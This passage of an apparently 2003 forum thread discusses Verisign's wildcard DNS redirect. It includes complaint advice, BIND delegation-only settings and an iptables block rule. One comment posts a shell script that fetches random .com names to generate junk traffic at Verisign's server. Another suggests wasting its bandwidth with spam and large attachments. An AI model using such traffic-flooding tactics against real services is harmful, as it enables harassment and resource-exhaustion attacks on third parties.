    When you call, select:

    • 1 (purchase an product or renew an exist product)
    • then 7 (all other questions)

    I recommend that you be patient with the Verisign rep that answers the phone. That person may not fully understand the issue / problem, and they are unlikely to personally be responsible for the Verisign decision. Remember that you are objecting what Verisign as a company is doing. Don't yell at the rep. Be polite but firm.

    Ask Verisign to stop the wildcarding now. Explain why what they are doing is wrong (such as being unable to determine of a EMail message is being sent from a bogus / non-existent domain because thisdomaindoesnotexist.com resolves to 64.94.110.11).

    If you do business with Verisign now, tell them that you will switch vendors unless Verisign stops this practice in X weeks. (fill in the X)

    You might want to leave your phone number and request a callback. Anonymous complaints do not go as far.

    If you are in the US, you might want to contact your local member of congress and object about what Verisign is doing. Let Verisign know that you are doing this when you call.

    Yes, they might flush your complaint down /dev/null. But I suspect that pressure from all fronts might help. I have been told (off the record) that some people within Verisign are not happy with their wildcarding. Complaints get logged into a database that these people can review. Your complaints, in volume, might help those folks make a stronger case against top-level wildcarding.

    --
    chongo (was here) /\oo/\
  190. Verisign can bugger off. by fireman+sam · · Score: 1

    add this to you firewall rules:

    iptables -A FORWARD -d 64.94.110.11 -j REJECT

    --
    it is only after a long journey that you know the strength of the horse.
  191. Re:Verislime (FreeBSD version) by cozman69 · · Score: 0

    #!/bin/sh
    get_char() {
    local GOOD=0
    while [ $GOOD -eq 0 ]
    do
    RAND_C=`dd if=/dev/urandom bs=1 count=1 2>>/dev/null`
    if [ `echo "$RAND_C" | grep [0-9A-Za-z]` ]
    then
    GOOD=1
    fi
    done
    }

    get_string() {
    local INDEX=0
    while [ $INDEX != 32 ]
    do
    get_char
    RAND_STR=`echo $RAND_STR$RAND_C`
    INDEX=`expr $INDEX + 1`
    done
    }

    get_string
    URI=`echo $RAND_STR | tr -d ' '`
    fetch -o - http://$URI.com >>/dev/null 2>>/dev/null
    exit 1

  192. Yes and no by Pseudonym · · Score: 1

    The BIND patch and related things can only be a temporary measure, because Verisign will have the patch too, and be able to do something which works around it. Then BIND will work around that and so on.

    Basically, you have a technological arms race, and an arms race is a race that nobody can possibly win. Legal recourse is handy for breaking the cycle.

    --
    sub f{($f)=@_;print"$f(q{$f});";}f(q{sub f{($f)=@_;print"$f(q{$f});";}f});
  193. Re:could NOT care less you idiot by Anonymous Coward · · Score: 0

    "I could not care less" is already plenty sarcastic. You think you're being clever and sarcastic when you're misusing the phrase, but in reality you just sound like an idiot.

  194. Favorite SPAM Haiku by Anonymous Coward · · Score: 0

    Old man seeks doctor,
    "I eat SPAM daily", he says.
    Angioplasty.

  195. Re:Is a Technology solution ALWAYS better than law by eatdave13 · · Score: 1

    Well, first off, I and people like me would have already jumped ship from Verisign without intarweb vigilantes deciding what website they would allow me to view. Secondly, I and people like me would also ditch an ISP that blocked access to sites immedately, and you and people like you would be the suicides-by-cop you see when a small group of fanatics decides they're going to seceed from the union.

    --
    "Verbing weirds language." -- Calvin
  196. Re:Is a Technology solution ALWAYS better than law by Anonymous Coward · · Score: 0

    Don't give them any ideas :/

  197. MOD PARENT UP!!!!! by Anonymous Coward · · Score: 0

    +1 Insightful.
    +1 Informative.
    +1 Interesting.
    +1 Funny.
    +1 Completely on-topic.

  198. http://aaaaaa.com by Anonymous Coward · · Score: 0

    Heh - this one's valid

  199. As bad as this is by satsuke · · Score: 1

    As bad as this is - removing support for wildcard character resolution would affect some open source projects to.

    Try looking around sourceforge.net subdomain variations sometime.

    www.sourceforge.net is valid - www328383.sourceforge.net is also valid using the wildcard

  200. Nuke *.verisign.com altogether by jamie(really) · · Score: 1
    I request that the new BIND nukes verisign altogether. If verisign want to claim that there's no legal reason that unknown domains shouldnt resolve to their site finder, then there's no legal reason why BIND has to resolve any verisign address at all. They've just opened a very large can of worms: what happens when someone that controls a large part of the internet starts acting unilaterally. I say lets show them what happens: everyone starts to do it and they get vanished. We need to make a point here.

    Lets just wipe those f***** off the net completely. If we're going to route around the damage, lets route around the whole bloody lot of them.

  201. Re:offtopic? i think not. by Anonymous Coward · · Score: 0

    Another good way is to send mail to a ficticious domain and let the bandwidth get sucked up. Post some large gifs or forward all your spam to them.

    Sooner or later VeriSlime will correct it's mistake. Also consider the BIND patch to fix this.

  202. RedHat 9 RPMS and example by dananderson · · Score: 1
    I applied the bind and bind-utils RedHat RPMS to RedHat 9 from rawhide and they work with the new directives:

    1893319 Sep 17 13:41 bind-9.2.2-23.i386.rpm
    615472 Sep 17 13:41 bind-utils-9.2.2-23.i386.rpm
    ftp://ftp.redhat.com/pub/redhat/linux/rawhide/i3 86/RedHat/RPMS/

    Here's the directives I added to /etc/named.conf:

    zone "com" { type delegation-only; };
    zone "net" { type delegation-only; };
    zone "cc" { type delegation-only; };
    zone "ws" { type delegation-only; };

  203. Namespace size by yerricde · · Score: 1

    Only if that number didn't already belong to somebody else.

    Which is much more common in a 16-letter[1] namespace than in a 7-digit namespace.

    [1] That's a "typical" domain name length. The fact that domain names can be longer is beside the point.

    --
    Will I retire or break 10K?
  204. What's an "ISO"? by yerricde · · Score: 1

    Dont follow it no iso...

    So now it seems people are using the term "ISO" to refer both to a quality management conformance certificate and to a disc image. In that case, you can get your Tetris ISO from this quality management consulting firm, or from this gamez site.

    --
    Will I retire or break 10K?
  205. Re:Sign the online petition to get ICANN into acti by yerricde · · Score: 1

    Petitions only work if ... or b) the petition is to force a state government to put something to a vote (e.g. referendum process).

    This petition seems to lead to a vote of no confidence in ICANN by national communications regulators.

    --
    Will I retire or break 10K?